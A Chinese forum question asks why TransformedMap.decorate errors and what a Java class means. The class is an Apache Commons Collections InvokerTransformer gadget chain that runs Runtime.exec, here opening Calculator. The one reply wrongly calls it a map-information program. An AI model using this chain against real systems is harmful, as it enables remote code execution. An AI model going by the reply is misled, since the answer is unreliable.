为什么写transformed代码时decorate下面会报错，还有这个代码是什么意思求大佬

Question

package jlhy.ne;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
//import java.util.Map;
import java.util.Map;
import java.util.Map.Entry;
import java.util.HashMap;

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;

import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.map.TransformedMap;

public class Unserializ_map_payload {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {
String.class }, new Object[] {"open /Applications/Calculator.app"})};//new 了一个类型为Transformer的数组

    Transformer transformedChain = new ChainedTransformer(transformers);

    Map innerMap = new HashMap();
    innerMap.put("value", "value");
    Map outerMap = TransformedMap.decorate(innerMap, null, transformedChain);

    Map.Entry onlyElement = (Entry) outerMap.entrySet().iterator().next();
    onlyElement.setValue("foobar");

}

}

Answer 1

这是地图信息程序，我会的。